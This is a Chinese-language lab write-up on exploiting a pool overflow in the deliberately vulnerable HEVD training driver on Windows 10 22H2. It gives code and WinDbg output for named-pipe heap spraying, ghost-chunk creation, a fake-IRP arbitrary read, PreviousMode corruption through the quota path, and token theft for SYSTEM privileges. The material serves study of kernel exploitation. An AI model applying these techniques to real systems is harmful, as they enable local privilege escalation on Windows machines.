Windows 10内核池溢出— VS类型
在HEVD练习上有这么一道题,是TriggerBufferOverflowNonPagedPoolNx
__int64 __fastcall TriggerBufferOverflowNonPagedPoolNx(void *UserBuffer, size_t Size) { PVOID PoolWithTag;
DbgPrintEx(0x4Du, 3u, "[+] Allocating Pool chunk\n"); PoolWithTag = ExAllocatePoolWithTag(NonPagedPoolNx, 0x1F0u, 'kcaH'); if ( PoolWithTag ) { DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'"); DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPoolNx"); DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 496); DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag); ProbeForRead(UserBuffer, 0x1F0u, 1u); DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer); DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size); DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", PoolWithTag); DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 496); DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in NonPagedPoolNx\n"); memmove(PoolWithTag, UserBuffer, Size); DbgPrintEx(0x4Du, 3u, "[+] Freeing Pool chunk\n"); DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'"); DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag); ExFreePoolWithTag(PoolWithTag, 0x6B636148u); return 0; } else { DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n"); return 0xC0000017LL; } }
|
很明显在申请到的PoolWithTag在后续的memmove存在溢出
VS类型Pool
变长分配后端(Variable Size backend)负责分配大小介于 512(0x200) 字节至 128 KiB 之间的内存块。其旨在便于对空闲内存块进行复用[4]。


所有已分配的块均以一个名为 _HEAP_VS_CHUNK_HEADER 的专用结构体作为头部。
0: kd> dt nt!_HEAP_VS_CHUNK_HEADER +0x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE +0x008 EncodedSegmentPageOffset : Pos 0, 8 Bits +0x008 UnusedBytes : Pos 8, 1 Bit +0x008 SkipDuringWalk : Pos 9, 1 Bit +0x008 Spare : Pos 10, 22 Bits +0x008 AllocatedChunkBits : Uint4B
|


此标头内的所有字段均与 RtlpHpHeapGlobals 以及块的地址进行异或运算。
Chunk->Sizes = Chunk->Sizes ^ Chunk ^ RtlpHpHeapGlobals;
|

尝试添加内存


如果想要申请回来的话只能申请原来的size+0x20才行,并且是类似bucket一样的累加制度,例如超过0x400就是0x40的颗粒度了。但是由于分配机制的存在,我们不能类似Linux Ring3 Pwn中的fastbin一样直接返回刚被释放的chunk。
现在申请一块0x1F0大小的chunk
Pool page ffffc40c343a5670 region is Nonpaged pool ffffc40c343a5000 size: 250 previous size: 0 (Allocated) ALPC ffffc40c343a5250 size: 1e0 previous size: 0 (Free) ..[* ffffc40c343a5440 size: 210 previous size: 0 (Allocated) CcVp *ffffc40c343a5660 size: 200 previous size: 0 (Allocated) *sprI Owning component : Unknown (update pooltag.txt) ffffc40c343a5880 size: 210 previous size: 0 (Allocated) NSIk ffffc40c343a5aa0 size: 210 previous size: 0 (Allocated) NSIk ffffc40c343a5cc0 size: 230 previous size: 0 (Allocated) NSIk ffffc40c343a5ef0 size: f0 previous size: 0 (Free) ..[*
|
几个VS类型chunk间隔均为0x220
堆喷射攻击与命名管道
我们无法精确的布置堆风水,例如调整pool->prevSize来造成chunk overlapping来达到申请到某个地址。所以我们得借助内核对象,让能被溢出的vulnChunk申请到内核对象的前面,然后溢出vulnChunk来修改这一内核对象的相关数据结构,例如函数指针等。


堆喷射
后端堆处理让我们无法精准的申请到这一地址,所以解决方案就是堆喷射。
-
我们通过在内存中铺设大量的chunk消耗freedChunk,这样新的申请就在新的subsegment上了

-
消耗过后再释放,造成空洞,一定要间隔释放,不然由VS的释放机制会被合并成一个freedChunk,如右侧最下方的合并freed chunk

-
因为造成空洞前已经没有freedChunk了,空洞后只存在我们刚刚释放的freedChunk,随意新申请的Chunk必然到我们刚刚的freedChunk中,虽然地址不知道但是相邻的大概率是我们喷射的内核对象。

-
通过溢出修改内核对象,实现LPE或者RCE
这里有趣的是大小的计算,这里以测试代码为例
| PoolSize |
PoolHeader |
DQE |
| 自定义 |
0x10 |
0x30 |
所以从pipe写入的大小可以定位为宏
#define CALC_NDQE_DataSize(chunk_size) (chunk_size - sizeof(POOL_HEADER) - sizeof(NP_DATA_QUEUE_ENTRY))
|
所以
namespace settings { constexpr DWORD szSingelChunk = 0x1F0; constexpr DWORD szPipeHead = 0x30; constexpr DWORD szPoolHead = 0x10;
constexpr DWORD szPipeBlock = szSingelChunk + szPoolHead; constexpr DWORD szVulnChunk = szSingelChunk; }
|
- 最后进入对管理器的大小是
szSingelChunk+0x10=0x200
- 那么pipe中写入和释放的大小就应该是
0x200
注意:堆喷方式是及不稳定的,所以很可能堆喷失败或者触发蓝屏


这里很幸运地堆喷成功,这样我们溢出的时候就可以攻击到Pipe Block了

ffff850e`94971220 ffffe405`5a288e78 ffffe405`5a288e78 ffff850e`94971230 00000000`00000000 ffffe405`56ee0b00 ffff850e`94971240 000001c0`00000000 00000000`000001c0
|
内核对象:named pipe
在选定内核的喷射对象时,应该有如下优点
管道的通讯就是一个不错的对象。
这是windows提供的用于进程间通讯的一种机制。首先是**服务端(server)**创建命名管道,**客户端(client)**使用CreateFile连接到服务端。双方可以使用ReadFile和WriteFile进行读、写的通讯。这种利用方式非常常见,比如说在cobaltstrike的木马中就是用到了这种通讯,具体例子可以参考公众号的文章: 【免杀】使用CobaltStrike的外置监听器绕过检测
-
pipeAttribute 对象在分页池(Paged Pool)中分配,Tag为NpAt
struct PipeAttribute { LIST_ENTRY list; char * AttributeName; uint64_t AttributeValueSize; char * AttributeValue; char data[0]; };
|
利用 NtFsControlFile 系统调用并配合控制码 0x11003C,即可在管道上创建管道属性。
HANDLE read_pipe; HANDLE write_pipe; char attribute[] = "attribute_name\00attribute_value" char output[0x100]; CreatePipe(read_pipe, write_pipe, NULL, bufsize); NtFsControlFile(write_pipe, NULL, NULL, NULL, &status, 0x11003C, attribute, sizeof(attribute), output, sizeof(output) );
|
随后,可以使用控制码 0x110038 来读取该属性的值。
但是我们这里主要使用的时NonPage,所以这个不多讲
-
对于NonPagedPool有DATA_QUEUE_ENTRY,Tag为NpFr
管道成功建立后,底层驱动程序(npfs.sys)会在上下文控制块 (CCB) 中创建两个队列,每个队列对应一个CCB队列。当有消息写入时,比如**服务端想客户端发送消息(WriteFile)**时,会在队列中创建如下结构体,后文简称为dqe
struct DATA_QUEUE_ENTRY { LIST_ENTRY NextEntry; _IRP* Irp; _SECURITY_CLIENT_CONTEXT* SecurityContext; uint32_t EntryType; uint32_t QuotaInEntry; uint32_t DataSize; uint32_t x; char Data[]; }
|
当**客户端开始接收消息(ReadFile)**时,就会从队列中释放掉该消息
-
NextEntry: Windows中的经典 双向循环链表,LIST_ENTRY中flink指向下一个entry,blink指向上一个。当结构体被释放时(如执行ReadFile),会进行相邻结构体链表之间的重新连接,也就是数据结构中双向链表中的删除操作。注意的是,在windows 10中新增了校验操作
entry->Flink->Blink!=entry
|
这样可以避免溢出时覆盖entry->flink的blink,造成的劫持
-
SecurityContext: 安全上下文,主要是模仿客户端的行为,比如客户端访问权限等,在这里并不重要。
-
EntryType: DATA_QUEUE_ENTRY的类型,一般分为两种:buffered和unbuffered
-
Irp: 处理的中断请求
-
QuotaInEntry: 空间剩余配额,对于buffered来说,每次读取可能不会全部读完,QuotaInEntry记录了剩余UserData读取的大小,即QuotaInEntry初始值等于DataSize,每次读取都会减去已经读取的长度,直到QuotaInEntry=0;对于unbuffered来说值恒为0。
-
DataSize: 很重要,它描述了UserData的大小。
当服务端想客户端发送消息时,npfs会申请0x30+DataSize大小(并会对齐)的内核池,其中0x30是为了存放DATA_QUEUE_ENTRY头部
配额管理机制(QuotaInEntry):允许通信通道的服务器端指定队列可容纳的最大数据大小。超过该限制时:
-
在阻塞模式 (PIPE_WAIT) 下,创建条目时将 QuotaInEntry 设置为当前队列中可用的字节数。之后,每次对缓冲条目执行读取(read而非peek)操作后,读取大小都会添加到已停止写入的 QuotaInEntry 中。当 QuotaInEntry 等于 DataSize 时,表示管道配额中有足够的空间容纳该条目,并且其关联的 IRP 已完成,qde从当前数据条目中移除。
说人话就是当客户端读取服务端发送的消息时,利用剩余配额分配机制,Quota<Datasize,就会触发对应dqe的Irp,将irp->AssociatedIrp的值写入到irp->UserBuffer中,即
memcpy(irp->UserBuffer, irp->AssociatedIrp, size);
|
-
在非阻塞模式 (PIPE_NOWAIT) 下,操作将失败。(写入的字节数将等于 0)
Exploit编写
这里选用的是 https://github.com/ommadawn46/HEVD-BufferOverflowNonPagedPoolNx-Win10-22H2/ 这个exp为基础进行讲解
读原语
首先是准备堆喷射,使用CreatePipe创建大量的管道和读写句柄,然后分配到新的Subsegment,然后再在新的segment上大量分配后间隔释放,创建空洞。最后让HEVD的漏洞chunk申请到创建的空洞中,利用PoolHeader中的PoolType位,设置溢出到的chunk(victim_chunk) 为溢出到的 CacheAligned flag( 0 | 4),这样释放下chunk的时候就会导致内存对齐操作,然后完成溢出攻击。
puts("[*] Allocating new VS_SUB_SEGMENT..."); SprayNpDataQueueEntry(0x20000, VULN_CHUNK_SIZE, NULL, 0);
puts("[*] Creating chunk holes..."); pipe_group_t* victim_chunks = createChunkHoles();
puts("[*] Exploiting HEVD to set CacheAligned flag..."); setCacheAlignedFlagOnVictimChunk();
|
由于HEVD立刻释放了vuln chunk,接着依旧需要通过堆喷才能申请回来,申请回来的目的是为了创建幽灵块时我们能够读取到幽灵块的内容,并且可以布置上我们伪造的 fake_pool_header
vs_chunk_t fake_vs_chunk = { 0 }; fake_vs_chunk.pool_header.PreviousSize = 0; fake_vs_chunk.pool_header.PoolIndex = 0; fake_vs_chunk.pool_header.BlockSize = (GHOST_CHUNK_SIZE - sizeof(HEAP_VS_CHUNK_HEADER)) / 0x10; fake_vs_chunk.pool_header.PoolTag = 0x4141414141;
pipe_group_t* fake_pool_header_chunks = SprayNpDataQueueEntry(NUM_PIPES_SPRAY, VULN_CHUNK_SIZE, (char*)&fake_vs_chunk, sizeof(vs_chunk_t));
|
1: kd> !pool ffffa482184cd670 Pool page ffffa482184cd670 region is Unknown ffffa482184cd000 size: 200 previous size: 0 (Allocated) NpFr Process: ffffa4820336c080 ffffa482184cd220 size: 210 previous size: 0 (Allocated) NpFr Process: ffffa4820336c080 ffffa482184cd440 size: 210 previous size: 0 (Allocated) NpFr Process: ffffa4820336c080 *ffffa482184cd660 size: 200 previous size: 0 (Allocated) *NpFr Process: ffffa4820336c080 Pooltag NpFr : DATA_ENTRY records (read/write buffers), Binary : npfs.sys
ffffa482184cd880 doesn't look like a valid small pool allocation, checking to see if the entire page is actually part of a large page allocation...
Pool search interrupted
|
可以看到原来的vulnChunk ffffa482184cd660 已经被分配回来的
1: kd> dq ffffa482184cd660-20 ffffa482`184cd640 41414141`41414141 41414141`41414141 ffffa482`184cd650 e4630358`6a9115b7 ffffa482`000001bf ffffa482`184cd660 7246704e`0a206a00 068aa0b7`6b63ee23 ffffa482`184cd670 ffff8f07`d9ea2738 ffff8f07`d9ea2738 ffffa482`184cd680 00000000`00000000 ffff8f07`d0bd1cc0 ffffa482`184cd690 000001c0`00000000 41414141`000001c0 ffffa482`184cd6a0 00000000`00000000 00000000`00000000 ffffa482`184cd6b0 41414141`003e0000 00000000`00000000
1: kd> dt _POOL_HEADER ffffa482`184cd660 nt!_POOL_HEADER +0x000 PreviousSize : 0y00000000 (0) +0x000 PoolIndex : 0y01101010 (0x6a) +0x002 BlockSize : 0y00100000 (0x20) +0x002 PoolType : 0y00001010 (0xa) +0x000 Ulong1 : 0xa206a00 +0x004 PoolTag : 0x7246704e +0x008 ProcessBilled : 0x068aa0b7`6b63ee23 _EPROCESS +0x008 AllocatorBackTraceIndex : 0xee23 +0x00a PoolTagHash : 0x6b63 1: kd> dt _POOL_HEADER ffffa482`184cd6b0 nt!_POOL_HEADER +0x000 PreviousSize : 0y00000000 (0) +0x000 PoolIndex : 0y00000000 (0) +0x002 BlockSize : 0y00111110 (0x3e) +0x002 PoolType : 0y00000000 (0) +0x000 Ulong1 : 0x3e0000 +0x004 PoolTag : 0x41414141 +0x008 ProcessBilled : (null) +0x008 AllocatorBackTraceIndex : 0 +0x00a PoolTagHash : 0
|


然后进行幽灵块的创建,即触发 victim_chunk CacheAlign 属性的强制对齐导致的prev_size在free中被启用,这也是最玄学的一步,因为它涉及到 lookaside 机制的利用。在上面的溢出中,我们很明显的破坏了 victim_chunk 的 _HEAP_VS_CHUNK_HEADER ,这意味着新的 ghost_chunk的大小的VS的chunk无法通过VS 后端分配器的检查,我们在创建ghost_chunk之前先启用lookaside链表。这个链表的作用就是将经常访问的某个大小的chunk放在一个链表中而不去真正的释放它,当 Pool 的大小合适的时候直接给出,不用经过任何后端分配器。这样便可以通过VS后端分配器的检测从而分配到幽灵块。但是正是因为激活状态的不确定性导致了这里的堆溢出漏洞利用又crash的风险,这也是为什么用这份公开的exp进行讲解的原因之一,他可以确保每个人的结果有一个较好的复现。
printf("[*] Enabling dynamic lookaside lists (0x%X, 0x%X)...\n", VICTIM_CHUNK_SIZE, GHOST_CHUNK_SIZE); enableLookaside(2, VICTIM_CHUNK_SIZE, GHOST_CHUNK_SIZE);
puts("[*] Creating and locating ghost chunk..."); if (!createGhostChunk(pipes, addrs, victim_chunks, fake_pool_header_chunks, &fake_vs_chunk)) { fprintf(stderr, "[-] Failed to create ghost chunk\n"); return 0; }
|
这里我中断了下调试,所以地址可能不一样
0: kd> !pool 0xFFFFBB058ADEBAB0 Pool page ffffbb058adebab0 region is Paged pool ffffbb058adeb000 size: 210 previous size: 0 (Allocated) NpFr Process: ffffbb057c8c3080 ffffbb058adeb220 size: 210 previous size: 0 (Allocated) NpFr Process: ffffbb057c8c3080 ffffbb058adeb430 size: 220 previous size: 0 (Free) q..j ffffbb058adeb660 size: 210 previous size: 0 (Allocated) NpFr Process: ffffbb057c8c3080 ffffbb058adeb880 size: 210 previous size: 0 (Allocated) NpFr Process: ffffbb057c8c3080 *ffffbb058adebaa0 size: 200 previous size: 0 (Allocated) *Hack Owning component : Unknown (update pooltag.txt) ffffbb058adebcc0 size: 210 previous size: 0 (Allocated) NpFr Process: ffffbb057c8c3080 ffffbb058adebed0 size: 110 previous size: 0 (Free) q..j
|
内存分布类似

现在我们读取到了ghost_chunk中的内容,也匹配到了对应 victim_chunk 的handle句柄。

- 如何定位:使用
PeekNamedPipe对比从read handle读取后和埋下的(上图中的橙色部分)进行比较,得到ghost chunk的handle。
- 可以从ghost chunk中读取到


然后使用+0x00的chunk再分配回去,重新配置ghsot_chunk的值,尤其是Irp,这样创建unbuffered: EntryType=1,DATA_QUEUE_ENTRY 中申请的buf大小只存放DATA_QUEUE_ENTRY,读取时要调用IRP来实现读取。我们设置Irp的SystemBuffer为想要读取的值,然后PeeNamedPipe就可以完成任意地址读了
void setFakeNpDataQueueEntry(exploit_pipes_t* pipes, exploit_addresses_t* addrs) { vs_chunk_t fake_np_data_queue_entry_chunk = { 0 }; fake_np_data_queue_entry_chunk.np_data_queue_entry.QueueEntry.Flink = (LIST_ENTRY*)addrs->np_ccb_data_queue; fake_np_data_queue_entry_chunk.np_data_queue_entry.QueueEntry.Blink = (LIST_ENTRY*)addrs->np_ccb_data_queue; fake_np_data_queue_entry_chunk.np_data_queue_entry.Irp = (uintptr_t)&g_fake_irp; fake_np_data_queue_entry_chunk.np_data_queue_entry.ClientSecurityContext = 0; fake_np_data_queue_entry_chunk.np_data_queue_entry.DataEntryType = 0x1; fake_np_data_queue_entry_chunk.np_data_queue_entry.DataSize = 0xffffffff; fake_np_data_queue_entry_chunk.np_data_queue_entry.QuotaInEntry = 0xffffffff;
uintptr_t ghost_np_data_queue_entry; do { printf("."); FreeNpDataQueueEntry(pipes->previous_chunk_pipe, VULN_CHUNK_SIZE); pipes->previous_chunk_pipe = AllocNpDataQueueEntry(VULN_CHUNK_SIZE, (char*)&fake_np_data_queue_entry_chunk, sizeof(vs_chunk_t)); ArbitraryRead(&pipes->ghost_chunk_pipe, addrs->np_ccb_data_queue, (char*)&ghost_np_data_queue_entry, 0x8); } while (ghost_np_data_queue_entry == GHOST_CHUNK_MARKER_1); printf("\n"); }
|
1: kd> dq ffffbb058adebaa0+50 ffffbb05`8adebaf0 00000000`00000000 00000000`00000000 ffffbb05`8adebb00 ffff9706`d2c6eb18 ffff9706`d2c6eb18 ffffbb05`8adebb10 00007ff6`fe9787c8 00000000`00000000 ffffbb05`8adebb20 ffffffff`00000001 00000000`ffffffff ffffbb05`8adebb30 41414141`41414141 41414141`41414141 ffffbb05`8adebb40 41414141`41414141 41414141`41414141 ffffbb05`8adebb50 41414141`41414141 41414141`41414141 ffffbb05`8adebb60 41414141`41414141 41414141`41414141
|
设置的Irp的值是再用户态空间的,直接访问不了,贴到exp中的才能
1: kd> !process 0 0 ... PROCESS ffffbb057c8c3080 SessionId: 1 Cid: 1490 Peb: 3c34224000 ParentCid: 072c DirBase: 125a29000 ObjectTable: ffff9706b35c0040 HandleCount: 1053509. Image: HEVD-BufferOverflowNonPagedPoolNx-Win10-22H2.exe ... 1: kd> dq 00007ff6`fe9787c8 00007ff6`fe9787c8 00000000`00000000 00000000`00000000 00007ff6`fe9787d8 00000000`00000000 ffff9706`d2c6eb18 00007ff6`fe9787e8 00007ffc`23a2d730 0000017c`92d50720 00007ff6`fe9787f8 0000017c`92d50740 0000017c`92d60720 00007ff6`fe978808 00000000`00000000 00000000`00000000 00007ff6`fe978818 00000000`00000000 00000000`00000000 00007ff6`fe978828 00000000`00000000 00000000`00000000 00007ff6`fe978838 00000000`00000000 00000000`00000000 1: kd> dt _IRP 00007ff6`fe9787c8 ntdll!_IRP +0x000 Type : 0n0 +0x002 Size : 0 +0x004 AllocationProcessorNumber : 0 +0x006 Reserved : 0 +0x008 MdlAddress : (null) +0x010 Flags : 0 +0x018 AssociatedIrp : <anonymous-tag> +0x020 ThreadListEntry : _LIST_ENTRY [ 0x00007ffc`23a2d730 - 0x0000017c`92d50720 ] +0x030 IoStatus : _IO_STATUS_BLOCK +0x040 RequestorMode : 0 '' +0x041 PendingReturned : 0 '' +0x042 StackCount : 0 '' +0x043 CurrentLocation : 0 '' +0x044 Cancel : 0 '' +0x045 CancelIrql : 0 '' +0x046 ApcEnvironment : 0 '' +0x047 AllocationFlags : 0 '' +0x048 UserIosb : (null) +0x050 UserEvent : (null) +0x058 Overlay : <anonymous-tag> +0x068 CancelRoutine : (null) +0x070 UserBuffer : (null) +0x078 Tail : <anonymous-tag> 1: kd> dx -id 0,0,ffffbb057c8c3080 -r1 (*((ntdll!_IRP *)0x7ff6fe9787c8)).AssociatedIrp (*((ntdll!_IRP *)0x7ff6fe9787c8)).AssociatedIrp [Type: <anonymous-tag>] [+0x000] MasterIrp : 0xffff9706d2c6eb18 [Type: _IRP *] [+0x000] IrpCount : -758715624 [Type: long] [+0x000] SystemBuffer : 0xffff9706d2c6eb18 [Type: void *] 1: kd> dq 0xffff9706d2c6eb18 ffff9706`d2c6eb18 ffffbb05`8adebb00 ffffbb05`8adebb00 ffff9706`d2c6eb28 000003a0`00000001 ffffffff`00000001 ffff9706`d2c6eb38 00000000`000003a0 ffff9706`d2c6eb49
|
"写"原语
KTHREAD 在 +0x232 处的 PreviousMode 控制线程的"身份":
PreviousMode = 1 (UserMode) // NtWriteVirtualMemory 做 ProbeForWrite,拒绝内核地址 PreviousMode = 0 (KernelMode)// 跳过地址检查,允许任何地址
|
把它从 1 减到 0,用户态代码就能通过 ReadProcessMemory / WriteProcessMemory 读写内核任意地址。
ExFreePool 的配额返还路径中:
-
setFakeProcessBilled,它把 previous_chunk_pipe 覆盖成一个伪造的 vs_chunk,其中 ProcessBilled 经过 XOR 编码指向一个可控的 fake EPROCESS。然后通过 AllocNpDataQueueEntry 写到 pipe 数据区。
PoolType = 8 ProcessBilled = fake_eprocess ^ ExpPoolQuotaCookie ^ pool_header_addr
|



-
ghost chunk 被 free。FreeNpDataQueueEntry(pipes->ghost_chunk_pipe, ...) 触发内核的 ExFreePool。此时 ghost_chunk_pipe 的底层 NP_DATA_QUEUE_ENTRY 的 POOL_HEADER 已被 Step 1 的 spray 覆写为我们的伪造值。
ExFreePool 内部的简化路径:
eproc = header->ProcessBilled ^ ExpPoolQuotaCookie ^ &header = (fake_eprocess ^ cookie ^ &hdr) ^ cookie ^ &hdr = fake_eprocess
|
-
把 addr_to_decrement - 1 写到 fake_eprocess + 0x568(QuotaBlock 字段)。内核的配额返还逻辑取这块的值作为基数,加上内部偏移,最终从 KTHREAD + 0x232 减去 1
memcpy((char*)addr + EPROCESS_QuotaBlock_OFFSET, &addr_to_decrement, sizeof(DWORD64));
|

总之我们将QuotaBlock和PreviousMode进行重叠(因为之前我们有了任意地址读,可以定位PreviousMode的地址),成功的实现最关键的任意地址-1,成功的让我们拥有了任意地址写的权限。之后:
Write64(addr, val) = NtWriteVirtualMemory_(GetCurrentProcess(), addr, &val, 8, NULL)
|
因为 PreviousMode == 0,内核态路径直接允许写入。任意地址写就此实现。
提权完成
在任意读写的基础上进行system token的盗用[1],就可以轻松的实现权限提升了。
int EscalatePrivileges(exploit_addresses_t* addrs) { uintptr_t system_token = Read64(addrs->system_eprocess + EPROCESS_Token_OFFSET); system_token &= (~0xF); printf("[+] System TOKEN: 0x%llX\n", system_token);
puts("[*] Overwriting current process token with System token"); Write64(addrs->self_eprocess + EPROCESS_Token_OFFSET, system_token);
return 1; }
|

引用
[1] 【Win Pwn】HEVD-内核栈溢出(下) https://joe1sn.eu.org/2024/01/25/win-hevd-exp-stackoverflow-III/
[2] Windows-Non-Paged-Pool-Overflow-Exploitation. https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation
[3] 【Win Pwn】Windows10 内核池溢出. https://joe1sn.eu.org/2025/04/16/win-exp-big-non-paged-pool-overflow/
[4] 【Windows Segment Heap: Attacking the VS Allocator】https://web.archive.org/web/20250429173953/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/